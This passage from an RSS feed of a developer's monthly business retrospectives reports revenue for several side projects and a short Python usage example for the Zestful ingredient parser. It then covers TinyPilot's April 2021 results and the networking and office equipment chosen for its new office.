 &lt;td>&lt;strong>$676.98&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$605.83&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$71.15 (-11%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto continues to run in the background, but I put in a rare bit of work this month. Many of my Amazon Affiliate links had gone out of date and were pointing to products that no longer existed, so I spent a couple of hours fixing those.&lt;/p>
&lt;p>Dusting off the code after months away, it&amp;rsquo;s &lt;em>so&lt;/em> tempting to go down a rabbit hole of tinkering with the site. I have to restrain myself because it&amp;rsquo;s better for me to focus on TinyPilot as much as possible.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>114&lt;/td>
 &lt;td>191&lt;/td>
 &lt;td>&lt;font color="green">+77 (+68%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$341.61&lt;/td>
 &lt;td>$417.85&lt;/td>
 &lt;td>&lt;font color="green">+$76.24 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$109.20&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$109.20 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$450.81&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$417.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$32.96 (-7%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This course is still making a few sales per month, but I haven&amp;rsquo;t spent much time promoting it.&lt;/p>
&lt;p>One highlight was that Dan Willoughby &lt;a href="https://twitter.com/plainice_/status/1398382363386597376">applied the lessons from the course&lt;/a> to write &lt;a href="https://tellspin.app/blog/why-interruptions-are-frustrating-to-developers/">an article&lt;/a> that reached the #2 spot on Hacker News. And it wasn&amp;rsquo;t like he applied &amp;ldquo;growth hacks&amp;rdquo; to game the system. He just put in the time to write a high-quality article, and it received an appropriate response. That felt great to see.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>May 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>892&lt;/td>
 &lt;td>659&lt;/td>
 &lt;td>&lt;font color="red">-233 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,132&lt;/td>
 &lt;td>1,784&lt;/td>
 &lt;td>&lt;font color="red">-348 (-16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$40.82&lt;/td>
 &lt;td>$32.85&lt;/td>
 &lt;td>&lt;font color="red">-$7.97 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$40.82&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$7.97 (-20%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Even though Zestful is still in maintenance mode, last weekend, I published an &lt;a href="https://pypi.org/project/zestful-parse-ingredient/">official Python package for it&lt;/a>. It&amp;rsquo;s something I always thought the project should have, but I kept putting it off because I didn&amp;rsquo;t know how to publish PyPI packages. I ended up learning how to do it in March &lt;a href="https://github.com/mtlynch/resticpy">while playing around with Restic&lt;/a>, so I figured I may as well use the knowledge to make a package for Zestful.&lt;/p>
&lt;p>Now, a user can get up and running with Zestful in minutes. Install the package like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>pip install zestful-parse-ingredient
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, import the &lt;code>parse_ingredient&lt;/code> module, and pass it an ingredient:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">json&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">parse_ingredient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ingredient = parse_ingredient.parse(&lt;span style="color:#ed9d13">&amp;#39;2 1/2 tablespoons finely chopped parsley&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">print&lt;/span>(json.dumps(ingredient.as_dict()))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And you&amp;rsquo;ll see JSON output like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;quantity&amp;#34;&lt;/span>: &lt;span style="color:#3677a9">2.5&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;unit&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;tablespoon&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;product&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;parsley&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;productSizeModifier&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;preparationNotes&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;finely chopped&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;usdaInfo&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;category&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Vegetables and Vegetable Products&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;description&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Parsley, fresh&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;fdcId&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;170416&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;matchMethod&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;exact&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;confidence&amp;#34;&lt;/span>: &lt;span style="color:#3677a9">0.9858154&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Moved TinyPilot&amp;rsquo;s operations from my house to a real office&lt;/li>
&lt;li>Worked with my inventory manager to document all of our processes in Notion.
&lt;ul>
&lt;li>Notion definitely has some warts and gotchas, but it&amp;rsquo;s a big step up from Google Docs, which was where we previously documented our internal processes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Successfully transitioned responsitibilites from TinyPilot&amp;rsquo;s original inventory manager (my girlfriend) to our new local employee.
&lt;ul>
&lt;li>My girlfriend&amp;rsquo;s grad school classes resume next week, so she won&amp;rsquo;t have time to work on TinyPilot.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When it comes to new employee training, &amp;ldquo;tell, don&amp;rsquo;t show.&amp;rdquo;
&lt;ul>
&lt;li>We trained our first local employee almost entirely through written instructions rather than live discussions.&lt;/li>
&lt;li>We were all happy with how easily the ramp-up went, and it led to a smooth transition of responsibilities to the new employee.&lt;/li>
&lt;li>A second local employee started in mid-May, and we&amp;rsquo;re expecting the ramp-up to be even easier because everything is already documented.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Management requires time, too.
&lt;ul>
&lt;li>If I want to manage well, I need to let go of tasks that my teammates can do instead.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>TinyPilot needs higher profit margins.
&lt;ul>
&lt;li>Increasing revenue will be easier than cutting expenses.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a new release of TinyPilot.&lt;/li>
&lt;li>Earn $35k in TinyPilot revenue.&lt;/li>
&lt;li>Create a prototype of the TinyPilot Voyager 2, with built-in Power over Ethernet.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 10</title><link>https://mtlynch.io/retrospectives/2021/05/</link><pubDate>Tue, 11 May 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/05/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot has its first official office space.&lt;/li>
&lt;li>I tried a marketing experiment that flopped.&lt;/li>
&lt;li>Designing IT infrastructure for a new office is fun.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="increase-tinypilot-revenue-to-30k">Increase TinyPilot revenue to $30k&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Increased revenue by 46% to $29k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t quite hit my $30k goal, but I came close. It&amp;rsquo;s a relief to end the downward sales trend that began in February.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot has its first official office space.&lt;/li>
&lt;li>I tried a marketing experiment that flopped.&lt;/li>
&lt;li>Designing IT infrastructure for a new office is fun.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="increase-tinypilot-revenue-to-30k">Increase TinyPilot revenue to $30k&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Increased revenue by 46% to $29k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t quite hit my $30k goal, but I came close. It&amp;rsquo;s a relief to end the downward sales trend that began in February.&lt;/p>
&lt;h3 id="produce-a-prototype-for-a-custom-tinypilot-poe-hat">Produce a prototype for a custom TinyPilot PoE HAT&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The &lt;a href="https://en.wikipedia.org/wiki/2020%E2%80%9321_global_chip_shortage">global chip shortage&lt;/a> has delayed the prototype by at least one month&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>When we began work, my electrical engineering partners took into account the &lt;a href="https://www.cnbc.com/2021/05/07/chip-shortage-is-starting-to-have-major-real-world-consequences.html">global shortage of integrated circuits&lt;/a>, but it&amp;rsquo;s worse than they expected.&lt;/p>
&lt;p>Normally, you&amp;rsquo;d buy components in bulk after designing and printing a successful prototype. We planned to move up the buying step to the point where we just &lt;em>design&lt;/em> the prototype. We tried this three times, and every time, the components sold out in the three or four days we spent designing the circuit board. Our new strategy is to buy a six-month supply of the critical components as soon as we identify compatible parts and cross our fingers that they work in our design.&lt;/p>
&lt;h3 id="create-an-outline-for-my-book-refactoring-english">Create an outline for my book, &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Completed the outline and published it on &lt;a href="https://refactoringenglish.com">the book&amp;rsquo;s landing page&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I wrote an outline that feels right to me, but I haven&amp;rsquo;t yet collected feedback from readers. My next step is to survey the book&amp;rsquo;s mailing list about whether the outline matches what they&amp;rsquo;re hoping to learn.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>April 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>5,805&lt;/td>
 &lt;td>5,880&lt;/td>
 &lt;td>&lt;font color="green">+75 (+1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>9,762&lt;/td>
 &lt;td>10,483&lt;/td>
 &lt;td>&lt;font color="green">+721 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$19,782.96&lt;/td>
 &lt;td>$28,880.65&lt;/td>
 &lt;td>&lt;font color="green">+$9,097.69 (+46%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$19.92&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$19.92 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$19,802.30&lt;/td>
 &lt;td>$28,880.65&lt;/td>
 &lt;td>&lt;font color="green">+$9,078.35 (+46%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$352.77&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$843.56&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>N/A&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="tinypilots-new-office-the-fun-stuff">TinyPilot&amp;rsquo;s new office: the fun stuff&lt;/h2>
&lt;p>TinyPilot has its first official office space! It&amp;rsquo;s a 15-minute walk from my house, so it&amp;rsquo;s a great location. The lease started on May 1st, and I&amp;rsquo;m in the process of moving operations there.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/move-in-day.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/move-in-day_hu_15701688f1a0efcf.jpg 300w, https://mtlynch.io/retrospectives/2021/05/move-in-day_hu_5b6bd9281dba3728.jpg 600w, https://mtlynch.io/retrospectives/2021/05/move-in-day_hu_3c9d46e1ef4ddd69.jpg 800w, https://mtlynch.io/retrospectives/2021/05/move-in-day_hu_afee2fd7ec236be4.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/move-in-day.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/move-in-day.jpg" alt="Photo of TinyPilot&amp;#39;s office on move-in day" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Day one at the new office (it&amp;rsquo;s much tidier now)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>While I still primarily work from home, I&amp;rsquo;m finding it more fun than I expected to have a real office. My house was increasingly becoming a TinyPilot warehouse, so it was a relief to move everything into the office and gain back two full cabinets and a large closet.&lt;/p>
&lt;p>Another part of the new office that I didn&amp;rsquo;t expect to enjoy so much was choosing the tech infrastructure. Here&amp;rsquo;s a brief tour of what I&amp;rsquo;m using:&lt;/p>
&lt;h3 id="door-lock-yale-assure-lever">Door lock: Yale Assure Lever&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/smart-lock.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/smart-lock_hu_5fdece90c73ff7ed.jpg 300w, https://mtlynch.io/retrospectives/2021/05/smart-lock_hu_ee0a8d0e9054108f.jpg 600w, https://mtlynch.io/retrospectives/2021/05/smart-lock_hu_5517b34e4b394ef4.jpg 800w, https://mtlynch.io/retrospectives/2021/05/smart-lock_hu_3e411cd9afbdcc24.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/smart-lock.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/smart-lock.jpg" alt="Photo of smart lock on office door" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The office came with a normal lockable door handle, but I wanted a better way of handling temporary access. Also, if an employee relationship goes south and we have to part ways, I don&amp;rsquo;t want to worry that they potentially have a copy of the office keys lying around somewhere.&lt;/p>
&lt;p>I&amp;rsquo;ve heard good things about August smart locks, but they only make deadbolts. Yale acquired August in 2017, and they make a door latch with August software.&lt;/p>
&lt;p>I&amp;rsquo;m not sure if this is a side effect of the Yale acquisition, but the installation process was surprisingly bad. Every step of setting it up took at least three tries because the app is so unclear in its directions and fails completely on any hardware or WiFi issue instead of handling errors gracefully.&lt;/p>
&lt;p>Now that it&amp;rsquo;s all set up, it&amp;rsquo;s nice to open the door without digging in my pocket for keys, and it&amp;rsquo;s cool to have a log of who&amp;rsquo;s gone in and out of the office.&lt;/p>
&lt;h3 id="printers-zebra-lp2844-shipping-labels-and-brother-hl-2300d-paper">Printers: Zebra LP2844 (shipping labels) and Brother HL-2300D (paper)&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/printers.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/printers_hu_ff261134283567b7.jpg 300w, https://mtlynch.io/retrospectives/2021/05/printers_hu_120b7b85e4758363.jpg 600w, https://mtlynch.io/retrospectives/2021/05/printers_hu_ed097ffa5abf609b.jpg 800w, https://mtlynch.io/retrospectives/2021/05/printers_hu_d9dae2ef4d60ef5a.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/printers.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/printers.jpg" alt="Photo of printers on my desk" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I have terrible luck with network-enabled printers, especially over WiFi. The Brother printer is just a dumb USB printer, and I use a dedicated print server (below) that serves it to the local network. I use the same printer at home, and it&amp;rsquo;s been reliable, so it seemed like a good pick for the office.&lt;/p>
&lt;p>We were already using the Zebra printer at home, so we just moved it to the office. It works, but I can&amp;rsquo;t seem to control the ink darkness settings the way we did at home from Windows machines, so labels are coming out a little harder to read.&lt;/p>
&lt;h3 id="router-opnsense-running-on-a-qotom-q355g4-mini-pc">Router: OPNsense running on a Qotom Q355G4 mini PC&lt;/h3>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: We haven&amp;rsquo;t set up the office server rack yet, so I&amp;rsquo;m keeping all of my networking equipment on the floor like a filthy animal.
&lt;/div>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/router.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/router_hu_8bbf730dac285fea.jpg 300w, https://mtlynch.io/retrospectives/2021/05/router_hu_52ef3ccdcb394f77.jpg 600w, https://mtlynch.io/retrospectives/2021/05/router_hu_d01f1d41228a80e2.jpg 800w, https://mtlynch.io/retrospectives/2021/05/router_hu_f9a443287cfece30.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/router.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/router.jpg" alt="Photo of Qotom Q355G4 mini PC" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/opnsense.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/opnsense_hu_8f85e75170a89acd.png 300w, https://mtlynch.io/retrospectives/2021/05/opnsense_hu_63434ca4d573f29a.png 600w, https://mtlynch.io/retrospectives/2021/05/opnsense_hu_995d71b5397d8a99.png 800w, https://mtlynch.io/retrospectives/2021/05/opnsense_hu_61e7e4e1bc4d124d.png 1200w, https://mtlynch.io/retrospectives/2021/05/opnsense.png 1720w'
 src="https://mtlynch.io/retrospectives/2021/05/opnsense.png" alt="OPNsense screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 
&lt;/figure>

&lt;p>At home, I have a Ubiquiti EdgeRouter 4, but Ubiquiti&amp;rsquo;s been &lt;a href="https://krebsonsecurity.com/2021/03/whistleblower-ubiquiti-breach-catastrophic/">going&lt;/a> &lt;a href="https://www.reddit.com/r/sysadmin/comments/mgd2k5/ubiquity_starts_to_serve_selfpromotion_ads_in/">downhill&lt;/a> fast this year. pfSense is a popular alternative, but they seem to be &lt;a href="https://github.com/rapi3/pfsense-is-closed-source">lying about being open-source&lt;/a>. I&amp;rsquo;ve heard from several sources that &lt;a href="https://opnsense.org/">OPNsense&lt;/a> is the &amp;ldquo;good citizen&amp;rdquo; fork of pfSense.&lt;/p>
&lt;p>The Qotom Q355G4 mini PC is a popular choice for running OPNsense, so I picked up one from Amazon. I, of course, installed the OS using only a TinyPilot, thanks to its new virtual storage mounting feature.&lt;/p>
&lt;p>I&amp;rsquo;m enjoying OPNsense so far. The complexity is higher than Ubiquiti, but it&amp;rsquo;s much more intuitive than Microtik. I can find my way around, but I&amp;rsquo;m not yet comfortable fiddling with settings.&lt;/p>
&lt;h3 id="switch-tp-link-8-port-poe-switch">Switch: TP-Link 8-Port PoE Switch&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/tp-link-switch.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/tp-link-switch_hu_a906c43810322a40.jpg 300w, https://mtlynch.io/retrospectives/2021/05/tp-link-switch_hu_e0824aa18dba1c24.jpg 600w, https://mtlynch.io/retrospectives/2021/05/tp-link-switch_hu_69b700f803e16974.jpg 800w, https://mtlynch.io/retrospectives/2021/05/tp-link-switch_hu_e0f9982bd07a6a14.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/tp-link-switch.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/tp-link-switch.jpg" alt="Photo of TP-Link 8-Port Switch" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It&amp;rsquo;s the same switch I use at home, and I&amp;rsquo;ve liked it. I&amp;rsquo;m quickly running out of PoE ports, though, so I&amp;rsquo;ve already ordered a Netgear 16-Port GS116LP, which I plan to rack mount.&lt;/p>
&lt;h3 id="wireless-access-point-ruckus-r310">Wireless Access Point: Ruckus R310&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/ruckus-r310.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/ruckus-r310_hu_5880a9b3137b34f0.jpg 300w, https://mtlynch.io/retrospectives/2021/05/ruckus-r310_hu_f5816d0ab82dd4f.jpg 600w, https://mtlynch.io/retrospectives/2021/05/ruckus-r310_hu_91f6b80ab1cd930a.jpg 800w, https://mtlynch.io/retrospectives/2021/05/ruckus-r310_hu_d3b5dfaee62719a4.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/ruckus-r310.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/ruckus-r310.jpg" alt="Ruckus wireless access point, not mounted" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Again, it&amp;rsquo;s the same one I use at home. Probably a bit too fancy for a single 125-square-foot office.&lt;/p>
&lt;p>I love that it&amp;rsquo;s PoE, so it only needs a single cable. With my home Ruckus, I configured it once and never had to tinker with it again, so I like the minimal maintenance.&lt;/p>
&lt;h3 id="print-server-cups-on-a-pi-4b">Print server: CUPS on a Pi 4B&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/print-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/print-server_hu_e0f5aed1f653527b.jpg 300w, https://mtlynch.io/retrospectives/2021/05/print-server_hu_b81b43042969c222.jpg 600w, https://mtlynch.io/retrospectives/2021/05/print-server_hu_423a5bf7f2ca4d08.jpg 800w, https://mtlynch.io/retrospectives/2021/05/print-server_hu_5793185ec53746bd.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/print-server.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/print-server.jpg" alt="Photo of Raspberry Pi print server" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My print server was surprisingly easy to set up. I stuck a PoE HAT on a Pi 4B (I happen to have many available) and installed &lt;code>cups&lt;/code> and &lt;code>printer-driver-brlaser&lt;/code>.&lt;/p>
&lt;p>I&amp;rsquo;m running into some printer hiccups, but I&amp;rsquo;m not sure whether to blame the Linux clients I&amp;rsquo;m using to print, the CUPS server, or the printers themselves.&lt;/p>
&lt;h3 id="jumpbox--bastion-server-tailscale-on-an-old-pi-3">Jumpbox / bastion server: Tailscale on an old Pi 3&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/05/bastion.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/05/bastion_hu_902be3792751ed80.jpg 300w, https://mtlynch.io/retrospectives/2021/05/bastion_hu_dab0083ca35953f9.jpg 600w, https://mtlynch.io/retrospectives/2021/05/bastion_hu_417b107ac41b6f97.jpg 800w, https://mtlynch.io/retrospectives/2021/05/bastion_hu_6a1b21b4fd603cf.jpg 1200w, https://mtlynch.io/retrospectives/2021/05/bastion.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/05/bastion.jpg" alt="Photo of old Raspberry Pi 3" loading="lazy"/>
 &lt;/a>



&lt;/div>


